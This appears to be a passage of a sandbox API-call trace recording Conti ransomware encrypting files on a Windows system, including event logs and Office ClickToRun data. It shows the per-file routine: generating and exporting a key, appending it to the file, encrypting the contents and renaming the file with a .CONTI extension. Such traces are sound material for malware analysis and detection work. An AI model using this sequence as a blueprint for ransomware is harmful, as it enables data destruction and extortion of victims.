	[0096.715] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.conti")) returned 1
	[0096.715] GetProcessHeap () returned 0x1720000
	[0096.715] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.715] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0096.715] GetProcessHeap () returned 0x1720000
	[0096.715] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4158 | out: hHeap=0x1720000) returned 1
	[0096.715] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0096.715] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d6450 | out: phKey=0x17d6450*=0x17c8130) returned 1
	[0096.715] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d6454, pdwDataLen=0x37ffcec | out: pbData=0x17d6454*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0096.716] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20
	[0096.716] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.716] GetLastError () returned 0x0
	[0096.716] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=69632) returned 1
	[0096.716] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.716] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.717] SetEndOfFile (hFile=0x37c) returned 1
	[0096.717] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.717] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.717] WriteFile (in: hFile=0x37c, lpBuffer=0x17d6454*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d6454*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.718] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.718] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x11000, lpOverlapped=0x0) returned 1
	[0096.719] CryptEncrypt (in: hKey=0x17c8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x11010) returned 1
	[0096.719] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.719] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x11010, lpOverlapped=0x0) returned 1
	[0096.720] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.720] WriteFile (in: hFile=0x37c, lpBuffer=0x17d6448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d6448*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0096.720] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.720] CloseHandle (hObject=0x37c) returned 1
	[0097.472] GetProcessHeap () returned 0x1720000
	[0097.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.472] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx"
	[0097.472] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.CONTI"
	[0097.472] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.conti")) returned 1
	[0097.473] GetProcessHeap () returned 0x1720000
	[0097.473] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.473] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0097.473] GetProcessHeap () returned 0x1720000
	[0097.473] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740330 | out: hHeap=0x1720000) returned 1
	[0097.473] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0098.924] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17e6da8 | out: phKey=0x17e6da8*=0x17c84f0) returned 1
	[0098.924] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e6dac, pdwDataLen=0x37ffcec | out: pbData=0x17e6dac*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0098.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash")) returned 0x20
	[0098.971] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0098.972] GetLastError () returned 0x0
	[0098.972] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=102) returned 1
	[0098.972] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0098.972] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.972] SetEndOfFile (hFile=0x374) returned 1
	[0098.973] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.973] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.973] WriteFile (in: hFile=0x374, lpBuffer=0x17e6dac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17e6dac*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0098.974] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.974] ReadFile (in: hFile=0x374, lpBuffer=0x8950000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x66, lpOverlapped=0x0) returned 1
	[0098.975] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x66, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x70) returned 1
	[0098.975] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.975] WriteFile (in: hFile=0x374, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x70, lpOverlapped=0x0) returned 1
	[0098.975] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.975] WriteFile (in: hFile=0x374, lpBuffer=0x17e6da0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17e6da0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0098.975] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.975] CloseHandle (hObject=0x374) returned 1
	[0098.976] GetProcessHeap () returned 0x1720000
	[0098.976] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.976] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash"
	[0098.976] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.CONTI"
	[0098.976] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash.conti")) returned 1
	[0098.977] GetProcessHeap () returned 0x1720000
	[0098.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.977] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0098.977] GetProcessHeap () returned 0x1720000
	[0098.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb760 | out: hHeap=0x1720000) returned 1
	[0098.977] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0098.977] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x17c84f0) returned 1
	[0098.977] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x37ffcec | out: pbData=0x17d5f9c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0098.978] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0x80
	[0098.979] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0098.979] GetLastError () returned 0x0
	[0098.979] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=4590407) returned 1
	[0098.979] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x460b47
	[0098.979] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.979] SetEndOfFile (hFile=0x374) returned 1
	[0098.979] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.979] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.979] WriteFile (in: hFile=0x374, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0098.981] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.981] ReadFile (in: hFile=0x374, lpBuffer=0x8950000, nNumberOfBytesToRead=0x460b47, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x460b47, lpOverlapped=0x0) returned 1
	[0100.241] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x460b47, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x460b50) returned 1
	[0100.246] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.246] WriteFile (in: hFile=0x374, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x460b50, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x460b50, lpOverlapped=0x0) returned 1
	[0101.781] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.781] WriteFile (in: hFile=0x374, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0101.781] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.782] CloseHandle (hObject=0x374) returned 1
	[0103.956] GetProcessHeap () returned 0x1720000
	[0103.956] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0103.957] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat"
	[0103.957] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.CONTI"
	[0103.957] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat.conti")) returned 1
	[0103.957] GetProcessHeap () returned 0x1720000
	[0103.957] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0103.958] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0103.958] GetProcessHeap () returned 0x1720000
	[0103.958] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3a00 | out: hHeap=0x1720000) returned 1
	[0103.958] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0103.958] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c8370) returned 1
	[0103.958] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x37ffcec | out: pbData=0x17d567c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0103.958] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico")) returned 0x20
	[0104.645] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.645] GetLastError () returned 0x5
	[0104.645] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0104.645] GetProcessHeap () returned 0x1720000
	[0104.645] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0104.645] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0104.957] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c8570) returned 1
	[0104.957] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x37ffcec | out: pbData=0x17d567c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0104.957] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml")) returned 0x20
	[0104.958] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.958] GetLastError () returned 0x5
	[0104.958] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0104.958] GetProcessHeap () returned 0x1720000
	[0104.958] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173baf8 | out: hHeap=0x1720000) returned 1
	[0104.958] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0107.274] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c7f70) returned 1
	[0107.274] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x37ffcec | out: pbData=0x17d2fb4*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0107.322] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml")) returned 0x20
	[0107.322] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0107.322] GetLastError () returned 0x0
	[0107.322] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=251) returned 1
	[0107.323] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb
	[0107.323] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.323] SetEndOfFile (hFile=0x390) returned 1
	[0107.323] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.323] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.323] WriteFile (in: hFile=0x390, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.325] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.325] ReadFile (in: hFile=0x390, lpBuffer=0x8950000, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0xfb, lpOverlapped=0x0) returned 1
	[0107.325] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0xfb, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x100) returned 1
	[0107.325] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
